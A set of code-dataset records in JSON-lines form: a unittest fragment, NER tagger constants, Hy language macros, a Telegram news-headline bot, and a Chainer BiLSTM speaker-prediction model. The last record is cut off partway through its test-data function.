self.assertDictEqual(correct_dict, func_dict)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"assignment11/tests/assign11_tests.py","file_name":"assign11_tests.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"334045504","text":"\"\"\"\nGlobal Constant\n\"\"\"\n\nimport string\n\nEMBEDDING_SIZE = 128\nWORD_INDEXER_SIZE = 55709\n\n# Spacebar\nSPACEBAR = \" \"\n\n# Escape Character\nESCAPE_WORD_DELIMITER = \"\\t\"\nESCAPE_TAG_DELIMITER = \"\\v\"\n\n# data dimention\nDATA_DIM = 300\n\n# Tag\nPAD_TAG_INDEX = 0\nNON_SEGMENT_TAG_INDEX = 1\nTAG_START_INDEX = 2\nTAG_LIST = ['DTM_B','DTM_I',\n 'DES_B','DES_I',\n 'TTL_B','TTL_I',\n 'BRN_B','BRN_I',\n 'PER_B','PER_I',\n 'MEA_B','MEA_I',\n 'NUM_B','NUM_I',\n 'LOC_B','LOC_I',\n 'TRM_B','TRM_I',\n 'ORG_B','ORG_I',\n 'ABB_ORG_B','ABB_ORG_I',\n 'ABB_LOC_B','ABB_LOC_I',\n 'ABB_DES_B','ABB_DES_I',\n 'ABB_PER_B','ABB_PER_I',\n 'ABB_TTL_B','ABB_TTL_I',\n 'ABB_B','ABB_I',\n 'ABB','DDEM',\n 'NAME_B','__',\n 'O']\n\nNUM_TAGS = len(TAG_LIST) + 2\n\nDEFAULT_MODEL_PATH = \"./models/ner_crf_e40.h5\"\n\n# Random Seed\nSEED = 1395096092\n\n\n","sub_path":"constant.py","file_name":"constant.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"94535361","text":"# Copyright (c) 2013 Paul Tagliamonte \n#\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n\n\nfrom hy.macros import macro\nfrom hy.models.expression import HyExpression\nfrom hy.models.integer import HyInteger\nfrom hy.models.symbol import HySymbol\nfrom hy.models.list import HyList\n\n\n@macro(\"defn\")\n@macro(\"defun\")\ndef defn_macro(name, *body):\n return HyExpression([HySymbol(\"def\"),\n name, HyExpression([HySymbol(\"fn\")] + list(body))])\n\n\n@macro(\"cond\")\ndef cond_macro(*tree):\n it = iter(tree)\n test, branch = next(it)\n\n root = HyExpression([HySymbol(\"if\"), test, branch])\n ret = root\n for (test, branch) in it:\n n = HyExpression([HySymbol(\"if\"), test, branch])\n ret.append(n)\n ret = n\n\n return root\n\n\n@macro(\"for\")\ndef for_macro(*tree):\n ret = None\n # for [x iter y iter] ...\n # ->\n # foreach x iter\n # foreach y iter\n # ...\n\n tree = HyExpression(tree).replace(tree[0])\n\n it = iter(tree.pop(0))\n blocks = list(zip(it, it)) # List for Python 3.x degenerating.\n\n key, val = blocks.pop(0)\n ret = HyExpression([HySymbol(\"foreach\"),\n HyList([key, val])])\n root = ret\n ret.replace(tree)\n\n for key, val in blocks:\n # x, [1, 2, 3, 4]\n nret = HyExpression([HySymbol(\"foreach\"),\n HyList([key, val])])\n nret.replace(key)\n ret.append(nret)\n ret = nret\n\n [ret.append(x) for x in tree] # we really need ~@\n return root\n\n\n@macro(\"_>\")\ndef threading_macro(head, *rest):\n ret = head\n for node in rest:\n if not isinstance(node, HyExpression):\n nnode = HyExpression([node])\n nnode.replace(node)\n node = nnode\n node.insert(1, ret)\n ret = node\n return ret\n\n\n@macro(\"_>>\")\ndef threading_tail_macro(head, *rest):\n ret = head\n for node in rest:\n if not isinstance(node, HyExpression):\n nnode = HyExpression([node])\n nnode.replace(node)\n node = nnode\n node.append(ret)\n ret = node\n return ret\n\n\n@macro(\"car\")\n@macro(\"first\")\ndef first_macro(lst):\n return HyExpression([HySymbol('get'),\n lst,\n HyInteger(0)])\n\n\n@macro(\"cdr\")\n@macro(\"rest\")\ndef rest_macro(lst):\n return HyExpression([HySymbol('slice'),\n lst,\n HyInteger(1)])\n\n\n@macro(\"let\")\ndef let_macro(variables, *body):\n expr = HyExpression([HySymbol(\"fn\"), HyList([])])\n\n for var in variables:\n if isinstance(var, list):\n expr.append(HyExpression([HySymbol(\"setv\"),\n var[0], var[1]]))\n else:\n expr.append(HyExpression([HySymbol(\"setv\"),\n var, HySymbol(\"None\")]))\n\n return HyExpression([expr + list(body)])\n\n\n@macro(\"when\")\ndef when_macro(test, *body):\n return HyExpression([\n HySymbol('if'),\n test,\n HyExpression([HySymbol(\"do\")] + list(body)),\n ])\n\n\n@macro(\"unless\")\ndef unless_macro(test, *body):\n return HyExpression([\n HySymbol('if'),\n test,\n HySymbol('None'),\n HyExpression([HySymbol(\"do\")] + list(body)),\n ])\n","sub_path":"hy/core/bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":4283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"297360613","text":"# -*- coding: utf-8 -*-\r\nimport sys\r\nimport time\r\nimport telebot\r\n\r\n\r\n# ---------------------\r\n# | All constants |\r\n# ---------------------\r\n\r\ntoken = \"\" # write bot token ehre\r\nbot = telebot.TeleBot(token)\r\nmax_length_of_headline = 100\r\nadmin_id = None # write admin id here\r\nwaiting_feedback_from = set()\r\n\r\n\r\n# -----------------------------------------------\r\n# | Writes error in the log -> ErrorLog.txt |\r\n# -----------------------------------------------\r\n\r\ndef error_log(function_name):\r\n file = open('ErrorLog.txt', 'a')\r\n mas_time = time.asctime().split()\r\n string_time = mas_time[2] + \" \" + mas_time[1] + \" \" + mas_time[4] + \" | \" + mas_time[3]\r\n file.write(str(string_time) + \" | problem with \" + function_name + \"() | \" + str(sys.exc_info()) + \" | \" + '\\n')\r\n file.close()\r\n\r\n\r\n# -----------------------------------------\r\n# | Sends feedback from user to admin |\r\n# ------------------------------------------\r\n\r\ndef feedback_sender(message):\r\n try:\r\n file = open('Feedback.txt', 'w')\r\n file.write('USER:' + '\\n')\r\n file.write('id: ' + str(message.from_user.id) + '\\n')\r\n file.write('is_bot: ' + str(message.from_user.is_bot) + '\\n')\r\n file.write('username: ' + str(message.from_user.username) + '\\n')\r\n file.write('first_name: ' + str(message.from_user.first_name) + '\\n')\r\n file.write('last_name: ' + str(message.from_user.last_name) + '\\n')\r\n file.write('language_code: ' + str(message.from_user.language_code) + '\\n')\r\n file.write('\\n')\r\n file.write(message.text + '\\n')\r\n file.close()\r\n file_to_send = open('Feedback.txt', 'r')\r\n bot.send_document(admin_id, file_to_send)\r\n file_to_send.close()\r\n except:\r\n error_log(\"feedback_sender\")\r\n\r\n\r\n# -------------------------------------------------------------------------------------\r\n# | Makes final string from filename and sitename, which is used in the beginning |\r\n# -------------------------------------------------------------------------------------\r\n\r\ndef news_maker(filename, sitename):\r\n global max_length_of_headline\r\n try:\r\n with open(\"data/\" + filename, 'r', encoding = \"utf-8\") as file:\r\n answer = \"\"\r\n mas_news = []\r\n answer = sitename + \"\\n\" \r\n answer += file.readline() + \"\\n\"\r\n for article in file:\r\n seperator = article.rfind(\",\")\r\n headline, link = article[:seperator].capitalize(), article[seperator + 1:]\r\n if len(headline) > max_length_of_headline:\r\n answer += \"\\U0001F31F{1}...\\n\\n\".format(link, headline[:max_length_of_headline])\r\n else:\r\n answer += \"\\U0001F31F{1}\\n\\n\".format(link, headline)\r\n return answer\r\n \r\n except:\r\n error_log(\"news_maker\")\r\n\r\n\r\n# ---------------------\r\n# | All keyboards |\r\n# ---------------------\r\n\r\nkeyboard_main = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\r\nkeyboard_main.row(\"\\U0001F4D3 General\", \"\\U0001F6E9 Business\", \"\\U0001F3C5 Sport\")\r\nkeyboard_main.row(\"\\U0001F4A0 Casual\", \"\\U0001F3A5 Movies\", \"\\U0001F3A7 Music\")\r\nkeyboard_main.row(\"\\U0001F4D6 Feedback\")\r\n\r\nkeyboard_general = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\r\nkeyboard_general.row(\"\\U0000269C Яндекс\", \"\\U0001F4E8 ТАСС\", \"\\U0000303D Медиазона\")\r\nkeyboard_general.row(\"\\U0001F4F0 The Guardian\", \"\\U0001F5DE The New York Times\", \"\\U0001F514 The Bell\")\r\nkeyboard_general.row(\"\\U00002B05 Back\")\r\n\r\nkeyboard_business = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\r\nkeyboard_business.row(\"\\U0001F4B0 Forbes\", \"\\U0001F4B3 CNN MONEY\", \"\\U0001F4B9 WSJ\")\r\nkeyboard_business.row(\"\\U00002B05 Back\")\r\n\r\nkeyboard_sport = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\r\nkeyboard_sport.row(\"\\U000026BD Sports.ru\", \"\\U0001F5A5 HLTV\", \"\\U0001F3D2 NBC Sports\")\r\nkeyboard_sport.row(\"\\U00002B05 Back\")\r\n\r\nkeyboard_casual = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\r\nkeyboard_casual.row(\"\\U0001F9C1 Пикабу\", \"\\U0001F92A Buzzfeed\", \"\\U0001F3AD Artifex\")\r\nkeyboard_casual.row(\"\\U00002B05 Back\")\r\n\r\nkeyboard_movies = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\r\nkeyboard_movies.row(\"\\U0001F3AC Кинопоиск\", \"\\U0001F345 Rotten Tomatoes\", \"\\U0001F50D IMDb\")\r\nkeyboard_movies.row(\"\\U00002B05 Back\")\r\n\r\nkeyboard_music = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\r\nkeyboard_music.row(\"\\U0001F19A The Flow\", \"\\U0001F3B8 Rolling Stone\", \"\\U0001F3A4 Complex\")\r\nkeyboard_music.row(\"\\U00002B05 Back\")\r\n\r\n\r\n# ----------------------\r\n# | Main bot logic |\r\n# ----------------------\r\n\r\n@bot.message_handler(content_types = [\"text\"])\r\ndef handle_text(message): \r\n \r\n # --------------------------\r\n # | Feedback and start |\r\n # -------------------------- \r\n \r\n if message.text == \"/start\":\r\n bot.send_message(message.from_user.id, \"\\U0001F44B Hello. World News Top Bot shows best news diversed in different blocks: general, business, sport, casual, movies and music!\", reply_markup = keyboard_main, parse_mode = 'HTML') \r\n \r\n elif message.from_user.id in waiting_feedback_from:\r\n waiting_feedback_from.remove(message.from_user.id)\r\n feedback_sender(message)\r\n bot.send_message(message.from_user.id, \"Your feedback has been sent to the developers. Thank you! \\U0001F44D\", reply_markup = keyboard_main, parse_mode = 'HTML') \r\n \r\n elif message.text == \"\\U0001F4D6 Feedback\" or message.text == \"/feedback\":\r\n waiting_feedback_from.add(message.from_user.id)\r\n bot.send_message(message.from_user.id, \"Send me your feedback with the next message \\U0001F603\", reply_markup = keyboard_main, parse_mode = 'HTML')\r\n \r\n # ---------------------\r\n # | General block |\r\n # --------------------- \r\n \r\n elif message.text == \"\\U0001F4D3 General\" or message.text == \"/general\":\r\n bot.send_message(message.from_user.id, \"\\U0001F4D3 General block of news\", reply_markup = keyboard_general, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0000269C Яндекс\":\r\n bot.send_message(message.from_user.id, news_maker('yandex.txt', message.text), reply_markup = keyboard_general, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F4E8 ТАСС\":\r\n bot.send_message(message.from_user.id, news_maker('tass.txt', message.text), reply_markup = keyboard_general, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0000303D Медиазона\":\r\n bot.send_message(message.from_user.id, news_maker('mediazona.txt', message.text), reply_markup = keyboard_general, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F4F0 The Guardian\":\r\n bot.send_message(message.from_user.id, news_maker('guardian.txt', message.text), reply_markup = keyboard_general, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F5DE The New York Times\":\r\n bot.send_message(message.from_user.id, news_maker('nytimes.txt', message.text), reply_markup = keyboard_general, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F514 The Bell\":\r\n bot.send_message(message.from_user.id, news_maker('bell.txt', message.text), reply_markup = keyboard_general, parse_mode = 'HTML')\r\n \r\n # ----------------------\r\n # | Business block |\r\n # ----------------------\r\n \r\n elif message.text == \"\\U0001F6E9 Business\" or message.text == \"/business\":\r\n bot.send_message(message.from_user.id, \"\\U0001F6E9 Business block of news\", reply_markup = keyboard_business, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F4B0 Forbes\":\r\n bot.send_message(message.from_user.id, news_maker('forbes.txt', message.text), reply_markup = keyboard_business, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F4B3 CNN MONEY\":\r\n bot.send_message(message.from_user.id, news_maker('cnn_money.txt', message.text), reply_markup = keyboard_business, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F4B9 WSJ\":\r\n bot.send_message(message.from_user.id, news_maker('wsj.txt', message.text), reply_markup = keyboard_business, parse_mode = 'HTML')\r\n \r\n # -------------------\r\n # | Sport block |\r\n # -------------------\r\n \r\n elif message.text == \"\\U0001F3C5 Sport\" or message.text == \"/sport\":\r\n bot.send_message(message.from_user.id, \"\\U0001F3C5 Sport block of news\", reply_markup = keyboard_sport, parse_mode = 'HTML')\r\n\r\n elif message.text == \"\\U000026BD Sports.ru\":\r\n bot.send_message(message.from_user.id, news_maker('sports_ru.txt', message.text), reply_markup = keyboard_sport, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F5A5 HLTV\":\r\n bot.send_message(message.from_user.id, news_maker('hltv.txt', message.text), reply_markup = keyboard_sport, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F3D2 NBC Sports\":\r\n bot.send_message(message.from_user.id, news_maker('nbc_sports.txt', message.text), reply_markup = keyboard_sport, parse_mode = 'HTML')\r\n \r\n # --------------------\r\n # | Casual block |\r\n # --------------------\r\n \r\n elif message.text == \"\\U0001F4A0 Casual\" or message.text == \"/casual\":\r\n bot.send_message(message.from_user.id, \"\\U0001F4A0 Casual block of news\", reply_markup = keyboard_casual, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F9C1 Пикабу\":\r\n bot.send_message(message.from_user.id, news_maker('pikabu.txt', message.text), reply_markup = keyboard_casual, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F92A Buzzfeed\":\r\n bot.send_message(message.from_user.id, news_maker('buzzfeed.txt', message.text), reply_markup = keyboard_casual, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F3AD Artifex\":\r\n bot.send_message(message.from_user.id, news_maker('artifex.txt', message.text), reply_markup = keyboard_casual, parse_mode = 'HTML')\r\n \r\n # --------------------\r\n # | Movies block |\r\n # --------------------\r\n \r\n elif message.text == \"\\U0001F3A5 Movies\" or message.text == \"/movies\":\r\n bot.send_message(message.from_user.id, \"\\U0001F3A5 Movies block of news\", reply_markup = keyboard_movies, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F3AC Кинопоиск\":\r\n bot.send_message(message.from_user.id, news_maker('kinopoisk.txt', message.text), reply_markup = keyboard_movies, parse_mode = 'HTML') \r\n \r\n elif message.text == \"\\U0001F345 Rotten Tomatoes\":\r\n bot.send_message(message.from_user.id, news_maker('rotten_tomatoes.txt', message.text), reply_markup = keyboard_movies, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F50D IMDb\":\r\n bot.send_message(message.from_user.id, news_maker('imdb.txt', message.text), reply_markup = keyboard_movies, parse_mode = 'HTML') \r\n \r\n # -------------------\r\n # | Music block |\r\n # ------------------- \r\n \r\n elif message.text == \"\\U0001F3A7 Music\" or message.text == \"/music\":\r\n bot.send_message(message.from_user.id, \"\\U0001F3A7 Music block of news\", reply_markup = keyboard_music, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F19A The Flow\":\r\n bot.send_message(message.from_user.id, news_maker('flow.txt', message.text), reply_markup = keyboard_music, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F3B8 Rolling Stone\":\r\n bot.send_message(message.from_user.id, news_maker('rolling_stone.txt', message.text), reply_markup = keyboard_music, parse_mode = 'HTML')\r\n \r\n elif message.text == \"\\U0001F3A4 Complex\":\r\n bot.send_message(message.from_user.id, news_maker('complex_music.txt', message.text), reply_markup = keyboard_music, parse_mode = 'HTML') \r\n \r\n # ------------------\r\n # | Back block |\r\n # ------------------\r\n \r\n elif message.text == \"\\U00002B05 Back\":\r\n bot.send_message(message.from_user.id, \"\\U0001F4F0 All blocks of news\", reply_markup = keyboard_main, parse_mode = 'HTML') \r\n \r\n # --------------------------------------------\r\n # | Messages, that bot doesn't work with |\r\n # --------------------------------------------\r\n \r\n else:\r\n bot.send_message(message.from_user.id, '\\U0001F4F0 I can only show news \\U0001F4F0', reply_markup = keyboard_main, parse_mode = 'HTML')\r\n\r\n\r\nbot.polling(none_stop=True, interval=0)\r\n","sub_path":"news_bot.py","file_name":"news_bot.py","file_ext":"py","file_size_in_byte":12680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"50288205","text":"from chainer import links as L\nfrom chainer import functions as F\nimport chainer\nimport os,sys\nCDIR=os.path.abspath(__file__)\nCDIR=CDIR.replace(CDIR.split(\"/\")[-1],\"\")\n\nfrom data_loader import load_data_from_file\nfrom model_common import NNChainer,NstLSTM\nimport random\nrandom.seed(623)\nimport numpy as np\nxp = np\n\ntry:\n import cupy as xp\nexcept ImportError:\n import numpy as xp\nexcept ModuleNotFoundError:\n import numpy as xp\n\nclass LSTMWordChar(NNChainer):\n def __init__(self,args):\n self.setArgs(args)\n super(LSTMWordChar, self).__init__(\n embed_char = L.EmbedID(self.n_char,self.n_embed),\n # embed_word = L.EmbedID(self.n_vocab,self.n_embed),\n embed = L.EmbedID(self.n_vocab,self.n_embed),\n lstm = L.NStepBiLSTM(self.n_layers,2*self.n_embed,self.out_size,dropout=self.drop_ratio),\n h2w = L.Linear(2*self.out_size,2),\n )\n self.setDevice(args)\n\n def setArgs(self,args):\n if args.train:\n input_list,label_list,char,vocab = load_data_from_file(args)\n self.input_list = input_list\n self.label_list = label_list\n else:\n from util.vocabulary import Vocabulary\n vocab=Vocabulary.load(\"./serif/vocab2.txt\")\n char=Vocabulary.load(\"./serif/char2.txt\")\n # vocab=Vocabulary.load(\"./serif/vocab_25000.bin\")\n # char=Vocabulary.load(\"./serif/char_3500.bin\")\n\n self.n_char = args.n_char\n self.pwd = CDIR\n self.bgm_h = args.bgm_h\n # self.n_vocab = args.n_vocab\n print(\"n_vocab\",args.n_vocab)\n print(\"vocab_len\",len(vocab))\n self.vocab = vocab\n self.char = char\n self.premodel=args.premodel\n super().setArgs(args)\n print(\"self_n_vocab\",self.n_vocab)\n\n def setVocab(self,args):\n pass\n # self.vocab = self.vocab\n\n def extractPretext(self,tupl_x):\n # return [tupl[0] for tupl in tupl_x]\n # return tupl_x[0]\n return [t_e+[2] for t_e in tupl_x[0]]\n\n def extractPostext(self,tupl_x):\n # return [tupl[1] for tupl in tupl_x]\n # return tupl_x[2]\n return [t_e + [2] for t_e in tupl_x[2]]\n\n def extractPreWords(self,tupl_x):\n # return tupl_x[3]\n return [t_e + [2] for t_e in tupl_x[3]]\n\n def extractPosWords(self,tupl_x):\n return [t_e + [2] for t_e in tupl_x[4]]\n # return tupl_x[4]\n\n def extractTeacher(self,t_list):\n for ri in range(len(t_list[0])):\n t_list[0][ri]=t_list[0][ri]+[0]\n t_list[1][ri]=t_list[1][ri]+[0]\n return t_list\n\n def extractVisCols(self):\n return \"preline,posline,話者予測,話者正解\\n\"\n\n\n # def extractVisAttr(self,tupl_x,t_list,y_list):\n def extractVisAttr(self,tupl_x,t_list):\n y = self.predict(tupl_x)\n t_list=self.extractTeacher(t_list)\n y_list = y.data.argmax(1).tolist()\n prec_list=self.extractPretext(tupl_x)\n posc_list=self.extractPostext(tupl_x)\n prew_list=self.extractPreWords(tupl_x)\n posw_list=self.extractPosWords(tupl_x)\n t1 = [t_e2 for t_e in t_list[0] for t_e2 in t_e]\n len_t1_list = [len(t_e) for t_e in t_list[0]]\n len_t2_list = [len(t_e) for t_e in t_list[1]]\n t2 = [t_e2 for t_e in t_list[1] for t_e2 in t_e]\n\n y_pre = y_list[:len(t1)]\n section_pre = np.array(len_t1_list[:-1], dtype=np.int32)\n sections = np.cumsum(section_pre) # CuPy does not have cumsum()\n y_pre_list = np.split(y_pre,sections)\n\n y_pos = y_list[len(t1):]\n section_pos = np.array(len_t2_list[:-1], dtype=np.int32)\n sections = np.cumsum(section_pos) # CuPy does not have cumsum()\n y_pos_list = np.split(y_pos,sections)\n line_list = []\n\n\n for pre_list,pos_list, y_pre,y_pos, t_pre,t_pos in zip(prec_list,posc_list, y_pre_list,y_pos_list, t_list[0],t_list[1]):\n pretxt = \" \".join([self.char.itos(id) for id in pre_list])\n postxt = \" \".join([self.char.itos(id) for id in pos_list])\n y_pre =y_pre.tolist()\n y_pos =y_pos.tolist()\n\n washa_p = [self.char.itos(cid) for pi,(cid,yid) in enumerate(zip(pre_list+pos_list,y_pre+y_pos)) if yid==1]\n washa_t = [self.char.itos(cid) for pi,(cid,tid) in enumerate(zip(pre_list+pos_list,t_pre+t_pos)) if tid==1]\n line_str = \"\\\"{}\\\",\\\"{}\\\",\\\"{}\\\",\\\"{}\\\"\\n\".format(pretxt,postxt,washa_p,washa_t)\n line_list.append(line_str)\n t_list=t1+t2\n return line_list,t_list,y_list\n\n\n def getTrDvTe(self,args,test_ratio=0.1):\n kl = int(1./test_ratio)\n\n xs_list,y_list = self.input_list,self.label_list\n print(\"xs_len\",len(xs_list))\n print(\"y_len\",len(y_list))\n assert len(y_list)==len(xs_list)\n ind_arr = list(range(len(y_list)))\n random.shuffle(ind_arr)\n xs_list = [xs_list[ind] for ind in ind_arr]\n y_list = [y_list[ind] for ind in ind_arr]\n\n test_inds = [ind for ii,ind in enumerate(ind_arr) if ii%kl==args.cv]\n dev_inds = [ind for ii,ind in enumerate(ind_arr) if ii%kl==(args.cv+1)%kl]\n tr_inds = [ind for ii,ind in enumerate(ind_arr) if ii%kl!=args.cv and ii%kl!=(args.cv+1)%kl]\n\n assert len(set(tr_inds).intersection(set(dev_inds))) ==0\n assert len(set(tr_inds).intersection(set(test_inds))) ==0\n assert len(set(dev_inds).intersection(set(test_inds)))==0\n\n xs_tr = [xs_list[tri] for tri in tr_inds]\n xs_dv = [xs_list[dei] for dei in dev_inds]\n xs_te = [xs_list[tei] for tei in test_inds]\n\n y_tr = [y_list[tri] for tri in tr_inds]\n y_dv = [y_list[dei] for dei in dev_inds]\n y_te = [y_list[tei] for tei in test_inds]\n\n print(\"tr:{},dv:{},te:{}\".format(len(xs_tr),len(xs_dv),len(xs_te)))\n return xs_tr,y_tr,xs_dv,y_dv,xs_te,y_te\n\n def encode(self,xs_c,xs_w):\n xs_emb = self.makeEmbedBatch(xs_c,xs_w)\n _,_,ys_c = self.lstm(None,None,xs_emb)\n return ys_c\n\n def makeEmbedBatch(self,xs_c,xs_w,reverse=False):\n # print(\"len_x_c\",[len(x_c) for x_c in xs_c])\n # print(\"len_x_w\",[len(x_w) for x_w in xs_w])\n xs_c_new=[];xs_w_new=[]\n for x_c,x_w in zip(xs_c,xs_w):\n if len(x_c)!=len(x_w):\n print(len(x_c),len(x_w))\n print([self.char.itos(c_e) for c_e in x_c])\n print([self.vocab.itos(w_e) for w_e in x_w])\n if reverse:\n xs_c = [xp.asarray(x[::-1],dtype=xp.int32) for x in xs_c]\n xs_w = [xp.asarray(x[::-1],dtype=xp.int32) for x in xs_w]\n elif not reverse:\n xs_c = [xp.asarray(x,dtype=xp.int32) for x in xs_c]\n xs_w = [xp.asarray(x,dtype=xp.int32) for x in xs_w]\n section_pre = np.array([len(x) for x in xs_c[:-1]], dtype=np.int32)\n sections = np.cumsum(section_pre) # CuPy does not have cumsum()\n emb_c = self.embed_char(F.concat(xs_c, axis=0))\n if len(self.premodel)>5 and self.epoch_now<2:\n with chainer.using_config('train', False), chainer.no_backprop_mode():\n emb_w = self.embed(F.concat(xs_w, axis=0))\n else:\n emb_w = self.embed(F.concat(xs_w, axis=0))\n emb = F.concat([emb_c,emb_w],axis=1)\n xs = F.split_axis(emb, sections, axis=0)\n return xs\n\n def __call__(self,tupl):\n tupl_x,t = tupl#[0];t = tupl[1]\n t = self.extractTeacher(t)\n t_pre = [t_pre_e2 for t_pre_e in t[0] for t_pre_e2 in t_pre_e]\n t_pos = [t_pos_e2 for t_pos_e in t[1] for t_pos_e2 in t_pos_e]\n t_all = xp.array(t_pre+t_pos,dtype=xp.int32)\n ys_w = self.predict(tupl_x)\n loss = F.softmax_cross_entropy(ys_w, t_all,ignore_label=-1) # /len(t_all)\n return loss\n\n def predict(self,tupl_x):\n x_pre_char = self.extractPretext(tupl_x)\n x_pre_word = self.extractPreWords(tupl_x)\n x_pos_char = self.extractPostext(tupl_x)\n x_pos_word = self.extractPosWords(tupl_x)\n\n # print(\"x_pre\",[self.vocab.itos(v_e) for v_e in x_pre[0]])\n # print(\"x_pre\",[len(v_e) for v_e in x_pre])\n # print(\"x_pos\",[self.vocab.itos(v_e) for v_e in x_pos[0]])\n # print(\"x_pos\",[len(v_e) for v_e in x_pos])\n y_pre = self.encode(x_pre_char,x_pre_word)\n y_pos = self.encode(x_pos_char,x_pos_word)\n # print(\"y_pre\",[p_e.shape for p_e in y_pre])\n # print(\"y_pos\",[p_e.shape for p_e in y_pos])\n # y_c = F.concat([y_pre,y_pos],axis=0)\n y_c = F.concat(y_pre+y_pos,axis=0)\n ys_w = self.h2w(F.tanh(y_c))\n # print('ys_w',ys_w.shape)\n return ys_w\n\n def getTestData(self,args,dirname):\n import glob,subprocess,codecs\n from preprocess import preprocessLine\n serif_delim = \"「\"\n # file_arr = [file for file in glob.glob(CDIR+\"./test/*.txt\") if \"spm\" not in file and \"mecab\" not in file]\n file_arr = [file for file in glob.glob(dirname+\"*.txt\") if \"spm\" not in file and \"mecab\" not in file]\n def sepCharas(self,pre_line,pos_line,y_list):\n chara_list = [self.char.itos(wid) if y==1 else \" \" for wid,y in zip(pre_line+pos_line,y_list)]\n print(\"chara_list\",chara_list)\n pre_chara_list = chara_list[:len(pre_line)]\n\n pre_charas = \"\".join(pre_chara_list)\n while \" \" in pre_charas:pre_charas=pre_charas.replace(\" \",\" \")\n # pre_chara_list = pre_charas.split(\" \")\n pre_chara_list = [pre for pre in pre_charas.split(\" \") if len(pre)>0]\n\n print(\"prechara_list\",pre_chara_list)\n\n pos_chara_list = chara_list[len(pre_line):]\n\n pos_charas = \"\".join(pos_chara_list)\n while \" \" in pos_charas:pos_charas=pos_charas.replace(\" \",\" \")\n pos_chara_list = [pos for pos in pos_charas.split(\" \") if len(pos)>0][::-1]\n print(\"poschara_list\",pos_chara_list)\n\n # print(pre_chara_list[0:1]+pos_chara_list[0:1]+pre_chara_list[1:]+pos_chara_list[1:])\n return pre_chara_list[0:1]+pos_chara_list[0:1]+pre_chara_list[1:]+pos_chara_list[1:]\n\n def asteriskSerif(line):\n if serif_delim in line:\n return [self.vocab.stoi(\"*\")],[self.char.stoi(\"*\")]\n else:\n w_id=[self.vocab.stoi(word) for word in line.split(\" \") for _ in range(len(word))]\n c_id=[self.char.stoi(char) for char in line.replace(\" \", \"\")]\n return w_id,c_id\n\n for file in file_arr:\n if not os.path.exists(file.replace(\".txt\",\"_mecab.txt\")):\n subprocess.call(\"mecab -O wakati -b 50000 {} > {}\".format(file,file.replace(\".txt\",\"_mecab.txt\")),shell=True)\n\n\n for file in file_arr:\n prespm_list = [];serifspm_list = [];posspm_list = []\n preline_list = [];serifline_list = [];posline_list = []\n linenum_list = []\n if args.spm:\n write_file=file.replace(\".txt\", \"_spm.txt\")\n else:\n write_file = file.replace(\".txt\", \"_mecab.txt\")\n line_list = [line.replace(\"▁\",\"\").strip() for line in codecs.open(write_file,encoding=\"utf-8\").readlines()]\n fr=[]\n for line in line_list:\n if serif_delim in line:\n if line.index(serif_delim)<10:\n fr.append(line)\n else:fr+=[l_e+'。' for l_e in line.split('。') if len(l_e)>3]\n else:fr+=[l_e+'。' for l_e in line.split('。') if len(l_e)>3]\n\n\n for li,line in enumerate(fr):\n if serif_delim not in line:continue\n washa = line.split(\"「\")[0]\n serif = preprocessLine(line.replace(\"{}「\".format(washa),\"「\"))\n pre_line = preprocessLine(fr[li-1],split_erase=False)\n pos_line =preprocessLine(fr[li+1], split_erase=False)\n\n if serif_delim not in pre_line or serif_delim not in pos_line:\n\n pre_spm,pre_line = asteriskSerif(pre_line)\n prespm_list.append(pre_spm);preline_list.append(pre_line)\n pos_spm,pos_line = asteriskSerif(pos_line)\n 